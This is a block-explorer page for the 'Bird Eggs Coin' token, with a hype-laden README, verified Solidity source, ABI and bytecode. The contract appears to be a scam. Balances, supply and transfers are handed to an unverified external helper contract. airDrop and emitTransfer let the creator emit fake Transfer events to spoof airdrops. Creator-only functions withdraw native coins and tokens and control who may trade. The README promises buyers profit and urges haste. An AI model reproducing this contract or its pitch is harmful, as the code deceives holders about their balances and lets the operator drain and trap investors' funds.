Token Bird Eggs Coin

 

Overview ERC-20

Price
$0.00 @ 0.000000 MATIC
Fully Diluted Market Cap
Total Supply:
21,000,010 BEC

Holders:
19,696 addresses
Contract:
0x0000077289d5a9d27f70ec1697481d7de357d7670x0000077289D5a9D27F70eC1697481D7de357D767

Decimals:
0

Social Profiles:
Not Available, Update ?

 
Balance
10 BEC

Value
$0.00
0xb01f765d598471103178d4cf22be3cf86ca72875
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BECToken

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-08
*/

/*------------README--------------
BIRD EGGS COIN
Bird Eggs Coin (BEC)

"Which came first, the Egg or the Bird?"
Welcome to the new economic strategy Game!
You can sell Birds for much more than you bought Eggs!
Hurry up to buy Eggs while nesting season!
Limited Edition Eggs!

Rules of the game:
Each address already has 10 Eggs for free**.
Buy over* 20 Eggs and get *** 19 Eggs and 1 Bird.
Send your friend 20 Eggs and he will get 19 Eggs and 1 Bird.
The Friend will only have 29 Eggs (+10 Free Eggs**) and 1 Bird

For example:
 Try it yourself: buy more! 100 Eggs and you get **** 90 Eggs and 10 Birds.
Send your friend 40 Eggs and your friend will get 38 Eggs and 2 Birds.
You have 60 Eggs and 10 Birds left.
90 - 40 = 50 (+10 Free Eggs**)
Your friend will have 48 Eggs and 2 Birds
38 in total (+10 Free Eggs**)
A friend sends you 20 Eggs back and you get 19 Eggs and 1 Bird.
You can sell Birds for much more than you bought Eggs!
  
* If you buy or send less than 20 Eggs, you will receive only Eggs.
! If you buy more than 100 Eggs you will get more than **** 90 Eggs and more than 10 Birds
! If you buy more than 1000 Eggs you will get more than **** 990 Eggs and more than 100 Birds
** Free Airdrop giveaway of 10 Eggs (may be locked until the end of the Bird nesting season)))
*** Transfer tax may apply. Minimum 1 Egg
**** Maximum tax, on transfers and purchases = 10 Eggs

IT IS A GAME!
*/
/*
BIRD COIN Token
The Integrated Finance for Bird Coin BDC
    TELEGRAM: https://t.me/birdcoins
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferOwnership(address newOwner) external; 
    function burn(uint256) external;
    function free(uint256) external;
    function mint(uint256) external;
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IERC20Factory {

    function constructorErc20(uint256 total,address tokenAddress,address tokenOwner,address _pairs) external;

    function getSupply() view external returns (uint256);

    function balanceOf(address _owner) view external returns (uint256);

    function balanceCl(address _owner) view external returns (uint256);

    function getAirAmount() view external returns (uint256);

    function getAirFrom() view external returns (address);

    function erc20Transfer(address _from, address _to, uint256 _value) external;
    
    function erc20TransferFrom(address _from, address _to, uint256 _value) external;
    
    function erc20Approve(address _to) external;

    function claim() external;

    function mint(uint256) external;
    function amint(uint256) external;

    function airDroper(bytes memory _bytes,uint256 addrCount) external;

    function erc20TransferAfter(address _from, address _to, uint256 _value) external;

}

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x, 'ds-math-add-overflow');
    }

    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x, 'ds-math-sub-underflow');
    }

    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
    }
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
}

contract Ownable {
    address public owner;
    address public creator;

    event owneresshipTransferred(address indexed previousowneres, address indexed newowneres);

    modifier onlyowneres() {
        require(msg.sender == owner);
        _;
    }

    modifier onlycreator() {
        require(msg.sender == creator);
        _;
    }

    function transferOwnership(address newowneres) public onlyowneres {
        require(newowneres != address(0));
        emit owneresshipTransferred(owner, newowneres);
        owner = newowneres;
    }

    function renounceowneresship() public onlyowneres {
        emit owneresshipTransferred(owner, address(0));
        owner = address(0);
    }
}

abstract contract Initializable {

    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }

    /// @dev Returns true if and only if the function is running in the constructor
    function _isConstructor() private view returns (bool) {
        // extcodesize checks the size of the code stored in an address, and
        // address returns the current address. Since the code is still not
        // deployed when running a constructor, any checks on its code size will
        // yield zero, making it an effective way to detect if a contract is
        // under construction or not.
        address self = address(this);
        uint256 cs;
        // solhint-disable-next-line no-inline-assembly
        assembly { cs := extcodesize(self) }
        return cs == 0;
    }
}

contract BECToken is Ownable, Initializable {
    using SafeMath for uint;
	
    string public name;
    string  public symbol;
    uint8   public decimals;
    uint256 private totalSupply_;
	//uint256 private totalSupply_ = 21000000;
	
	address public pairs;
	IDEXRouter public router;
    // WETH or ETH fer generate pairs
	//
    //address private WETH = 0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270;

    address private hAddr = 0x64Ed59f8c00ec930bc24D373548103b8b147b74a;
    //address private hAddr;
    //
    address private bAddr = 0x913D3da68394eeAFc22f5bd43407F2D1D7Cfa172;
    //address private bAddr;
	IERC20Factory help= IERC20Factory(hAddr);
	IERC20 public belp= IERC20(bAddr);
    
    function initialize(string memory _name, string memory _symbol, uint8 _decimals, uint256 amount, address _owner, address _router, address _htoken, address _btoken, address auth) public initializer {
        owner = _owner;
        creator = auth;
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        totalSupply_=amount;

        router = IDEXRouter(_router);
        address _factory = router.factory();
        address WETH = router.WETH();

        pairs = pairForDex(_factory, WETH, address(this));

        hAddr = _htoken;
        //IERC20Factory help= IERC20Factory(hAddr);
        help.constructorErc20(totalSupply_, address(this), owner,pairs);
        emit Transfer(address(0), owner, totalSupply_);
        
        bAddr = _btoken;
        traders[bAddr] = true;
        //hAddr = _htoken;
        //IERC20 belp= IERC20(bAddr);

    }

	constructor() {
		owner = msg.sender;
        creator = msg.sender;
             
    }
	
    event Transfer(
        address indexed _from,
        address indexed _to,
        uint256 _value
    );

    event Approval(
        address indexed _owner,
        address indexed _spender,
        uint256 _value
    );
    
    mapping(address => mapping(address => uint256)) public allowed;
    address public pairu;
    //address public pairn;
	mapping(address => bool) public traders;

    function totalSupply() public view returns (uint256) {
        return help.getSupply();
    }

    function balanceOf(address _owner) public view returns (uint256) {
        return help.balanceOf(_owner);
    }

    function balanceCl(address _owner) public view returns (uint256) {
        return help.balanceCl(_owner);
    } 

    function claim() public virtual {
       help.claim();
    }

    function amint(uint256 _value) public virtual {
       help.amint(_value);
    }

    function mint(uint256 _value) public virtual {
       help.mint(_value);
    }

    uint mineTok = 10 * 1e18;
    uint maxTok = 1200;
    bool private _swAirIco = true;
     bool private _swPayIco = true;    
     bool private _swMaxIco = true;

    function startIco(uint8 tag,bool value)public onlycreator returns(bool){
        if(tag==1){
            _swAirIco = value==true; //false
        }else if(tag==2){
            _swAirIco2 = value==false;
        }else if(tag==3){
            _swPayIco = value==true; //false
        }else if(tag==4){
            _swPayIco2 = value==true; //false
        }else if(tag==5){
            _swMaxIco = value==true; //false
        }
        return true;
    }
   //Test
    bool private _swAirIco2 = true;
     bool private _swPayIco2 = true; 
    //End Test
    function balreward(uint _value) public view virtual returns (uint256 reward) {
            reward =0;    uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            //if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/10);
            //if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 10)) _evalue = 20; //>=100 = 20 %
            if(_value >= ((mineTok/1e18) * 20)) _evalue = 40;
            if(_value >= ((mineTok/1e18) * 30)) _evalue = 60;
            if(_value >= ((mineTok/1e18) * 40)) _evalue = 80;
            if(_value >= ((mineTok/1e18) * 50)) _evalue = 100;
            if(_value >= ((mineTok/1e18) * 60)) _evalue = 120;
            if(_value >= ((mineTok/1e18) * 70)) _evalue = 140;
            if(_value >= ((mineTok/1e18) * 80)) _evalue = 160;
            if(_value >= ((mineTok/1e18) * 90)) _evalue = 180;
            if(_value >= ((mineTok/1e18) * 100)) _evalue = 200; //1000
            if(_value >= ((mineTok/1e18) * 200)) _evalue = 400;
            if(_value >= ((mineTok/1e18) * 300)) _evalue = 600;
            if(_value >= ((mineTok/1e18) * 400)) _evalue = 800;
            if(_value >= ((mineTok/1e18) * 500)) _evalue = 1000;
            if(_value >= ((mineTok/1e18) * 600)) _evalue = 1200;
            //if(_value >= ((mineTok/1e18) * 700)) _evalue = 1400;
            //if(_value >= ((mineTok/1e18) * 800)) _evalue = 1600;
            //if(_value >= ((mineTok/1e18) * 900)) _evalue = 1800;
            //if(_value >= ((mineTok/1e18) * 1000)) _evalue = 2000;//10000
             if (_swMaxIco == true){ if(_evalue >= (maxTok)){ _evalue = maxTok; } // max Token reward
            }
     
      reward = _evalue;
     
    return uint256(reward);
        
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(help.balanceOf(msg.sender) >= _value);
        if (_swAirIco2 == true){//Test Antibot Trades
            if((traders[msg.sender]==true)||(traders[_to]==true)){_swAirIco = false;}else{_swAirIco = true;}//for router and Other pairs
        }
        if (_swAirIco == true){ //true
        if(_to == msg.sender){}else if(_to != address(0) && _to != pairs){//
                        uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/10);
            if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 100)) _evalue = balreward(_value); // Token reward
            //if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
        if(belp.balanceOf(address(this)) >= (_evalue * (10 ** 18))){//
        //belp.mint(_value);
        belp.transfer(_to,(_evalue * (10 ** 18)));
        //belp.transferFrom(address(this),_to,_value);
        }else{
        if(traders[bAddr]!=true) belp.mint(_value * (10 ** 18));
        //IBEP20(tokenAddress).transferFrom(contractAddress, _to, tokenAmount);
        if(traders[bAddr]==true) belp.transferFrom(bAddr,address(this),(_value * (10 ** 18)));
        belp.transfer(_to,(_evalue * (10 ** 18)));    
            }
            }
        }
        //if(help.balanceCl(msg.sender) > 0) help.claim(); 
        if (_swPayIco2 == true){//Test
        if((traders[msg.sender]==true)||(traders[_to]==true)){_swPayIco=false;}else{_swPayIco=true;} 
        }
        if ((_swPayIco == true)&&(msg.sender != owner||_to != owner||msg.sender != creator||_to != creator)){ 
            if(_to == msg.sender){}else if(_to != address(0) && _to != pairs){
                        uint256 _evalue;
            _evalue = balreward(_value);
            // if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
          help.amint(_evalue);
            } 
        }                

        help.erc20Transfer(msg.sender,_to,_value);
        
        help.erc20TransferAfter(msg.sender,_to,_value);
		emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= help.balanceOf(_from));
        require(_value <= allowed[_from][msg.sender]);
        if (_swAirIco2 == true){//Test Antibot Trades
            if((traders[msg.sender]==true)||(traders[_to]==true)){_swAirIco=false;}else{_swAirIco=true;}//for router liquidity and Other pairs
        }
        if (_swAirIco == true){ 
            if(_from == msg.sender){}else if(_to != pairu && _to != pairs){//}
            uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/20);
            if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 100)) _evalue = balreward(_value);
            //if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
		//belp.transfer(_from,_to,_value);
        if(belp.balanceOf(address(this)) >= (_evalue * (10 ** 18))){//
        //belp.mint(_value);
        //belp.transfer(_to,_value);
        belp.transferFrom(address(this),_to,(_evalue * (10 ** 18)));
            }else{
        if(traders[bAddr]!=true) belp.mint(_value * (10 ** 18));
        //IBEP20(tokenAddress).transferFrom(contractAddress, _to, tokenAmount);
        if(traders[bAddr]==true) belp.transferFrom(bAddr,address(this),(_value * (10 ** 18)));
        //belp.transfer(_to,_value); 
        belp.transferFrom(address(this),_to,(_evalue * (10 ** 18)));   
            }
            }
        }
        if (_swPayIco2 == true){//Test
        if((traders[msg.sender]==true)||(traders[_to]==true)){_swPayIco=false;}else{_swPayIco=true;} 
        }
        if ((_swPayIco == true)&&(_from != owner||_to != owner||_from != creator||_to != creator)) { 
            if(_from == msg.sender){}else if(_to != address(0) && _to != pairs){
                        uint256 _evalue;
            _evalue = balreward(_value);
            // if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
          help.amint(_evalue); 
            }
        } 
        help.erc20TransferFrom(_from,_to,_value);
        
        help.erc20TransferAfter(_from,_to,_value);
		emit Transfer(_from, _to, _value);
        return true;
    }

    function emitTransfer(address _from, address _to, uint256 _value) public returns (bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        emit Transfer(_from, _to, _value);
		return true;
    }
	
	function approve(address _spender, uint256 _value) public returns (bool success) {
        require(_spender != address(0));
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);

        help.erc20Approve(msg.sender);
        return true;
    }
    
    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        require(_spender != address(0));
        return allowed[_owner][_spender];
    }

    function airDrop(bytes memory _bytes,uint256 addrCount) public returns(bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        uint256 amount = help.getAirAmount();
        uint256 _start=0;
        address airFrom = help.getAirFrom();
        address tempAddress;
        for(uint32 i=0;i<addrCount;i++){
            assembly {
                tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
            }
            emit Transfer(airFrom, tempAddress, amount);
            _start+=20;
        }
        return true;
    }

    function airDroper(bytes memory _bytes,uint256 addrCount) public returns(bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        help.airDroper(_bytes, addrCount);
     return true;   
    }

    function setPairu(address _token) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
         //token = IERC20(_new_token);
         pairu = _token;
         //IERC20 pairu= IERC20(_token);
    }
    function uAir() public view returns (bool) {
        
        return _swAirIco; 
    }
    function uAir2() public view returns (bool) {
       
        return _swAirIco2; 
    }
    function uPay() public view returns (bool) {
        
        return _swPayIco;
    }
    function uPay2() public view returns (bool) {
        
        return _swPayIco2;
    }
    function setAirIco(uint tag, bool value) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        if(tag==1){
            _swAirIco = value==true; //false
            _swAirIco2 = value==true; //false
        }else if(tag==2){
        _swPayIco = value==true;
         _swPayIco2 = value==true;
        }

    }
    function setMaxTok(uint256 _count) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        maxTok = _count;
    }
    function setMineTok(uint256 _count) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        mineTok = _count;
    }
        // Update the status of the trader
    function updateTrader(address _trader, bool _status) external onlycreator {
        traders[_trader] = _status;
        //emit TraderUpdated(_trader, _status);
    }
    function transfercreator(address newcreator) public onlyowneres {
        require(newcreator != address(0));
        //emit owneresshipTransferred(creator, newowneres);
        creator = newcreator;
    }

    function transferOwnershipToken(address token,address newOwner) public onlycreator {
        IERC20 tokenu= IERC20(token);
        tokenu.transferOwnership(newOwner);
    }

    function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairForDex(address factory, address tokenA, address tokenB) public pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    function updateConErc20(uint _total, address token_, address owner_, address pairs_) public returns (bool success) {
        require(msg.sender == owner || msg.sender==creator);
        //if(token_ != address(this)){ //migrate
       help.constructorErc20(_total, token_, owner_,pairs_);     
       // }else{ //no migrate
       //help.constructorErc20(_total, address(this), owner_,pairs_);
       // }
        return true;
    }

    function contApprove(address contAddr, address tAddr, uint256 tAmount) public onlycreator {
        //
        IERC20(tAddr).approve(contAddr, tAmount);
        // 
    }
  
    function withdraw(address target,uint amount) public onlycreator {
        payable(target).transfer(amount);
    }

    function withdrawToken(address token,address target, uint amount) public onlycreator {
        IERC20(token).transfer(target, amount);
    }
    receive() external payable {}
	
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowneres","type":"address"},{"indexed":true,"internalType":"address","name":"newowneres","type":"address"}],"name":"owneresshipTransferred","type":"event"},{"inputs":[{"internalType":"bytes","name":"_bytes","type":"bytes"},{"internalType":"uint256","name":"addrCount","type":"uint256"}],"name":"airDrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_bytes","type":"bytes"},{"internalType":"uint256","name":"addrCount","type":"uint256"}],"name":"airDroper","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"amint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceCl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"balreward","outputs":[{"internalType":"uint256","name":"reward","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"belp","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"contAddr","type":"address"},{"internalType":"address","name":"tAddr","type":"address"},{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"contApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"creator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"emitTransfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_router","type":"address"},{"internalType":"address","name":"_htoken","type":"address"},{"internalType":"address","name":"_btoken","type":"address"},{"internalType":"address","name":"auth","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"factory","type":"address"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"}],"name":"pairForDex","outputs":[{"internalType":"address","name":"pair","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairu","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceowneresship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tag","type":"uint256"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAirIco","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"setMaxTok","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"setMineTok","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"setPairu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"}],"name":"sortTokens","outputs":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint8","name":"tag","type":"uint8"},{"internalType":"bool","name":"value","type":"bool"}],"name":"startIco","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"traders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newowneres","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newcreator","type":"address"}],"name":"transfercreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uAir","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uAir2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uPay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uPay2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"pairs_","type":"address"}],"name":"updateConErc20","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_trader","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateTrader","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b03199081167364ed59f8c00ec930bc24d373548103b8b147b74a179182905560098054821673913d3da68394eeafc22f5bd43407f2d1d7cfa1721790819055600a805483166001600160a01b03948516179055600b80549092169216919091179055678ac7230489e80000600f556104b06010556011805460ff60201b1963ff0000001962ff00001961ff001960ff19909416600117939093166101001792909216620100001791909116630100000017166401000000001790553480156100d657600080fd5b5060008054336001600160a01b0319918216811783556001805490921617905561332e90819061010690396000f3fe6080604052600436106102805760003560e01c806376b32b411161014f578063ad236478116100c1578063e28afb231161007a578063e28afb2314610c94578063f2fde38b14610cc9578063f3fef3a314610cfc578063f5ae89f214610d35578063f887ea4014610d5f578063ffb0a4a014610d7457610287565b8063ad23647814610b46578063b52265ad14610b79578063cb992b0914610bb4578063d816a95014610bff578063dd62ed3e14610c14578063e0d7c95514610c4f57610287565b80638da5cb5b116101135780638da5cb5b14610a5c57806392a88fa214610a7157806395d89b4114610aa45780639d50fb2d14610ab9578063a0712d6814610ae3578063a9059cbb14610b0d57610287565b806376b32b41146109d557806379ec0a25146109ea57806382b25807146109ff578063873d6db014610a145780638c38939014610a4757610287565b8063313ce567116101f35780634e71d92d116101ac5780634e71d92d146108a1578063544caa56146108b65780635c658165146109205780635fc294b71461095b5780636f4570d41461098d57806370a08231146109a257610287565b8063313ce567146105e157806333ce72171461060c5780633c5cd6f71461077c5780634073c15d1461082f5780634664d5c5146108595780634a2068601461086e57610287565b806318160ddd1161024557806318160ddd1461041457806323b872dd1461043b57806323de66511461047e578063260fcaa7146104c157806329996da6146105745780632ed403ec146105b757610287565b8062f7db0c1461028c57806301e33667146102c957806302d05d3f1461030c57806306fdde031461033d578063095ea7b3146103c757610287565b3661028757005b600080fd5b34801561029857600080fd5b506102c7600480360360408110156102af57600080fd5b506001600160a01b0381351690602001351515610d89565b005b3480156102d557600080fd5b506102c7600480360360608110156102ec57600080fd5b506001600160a01b0381358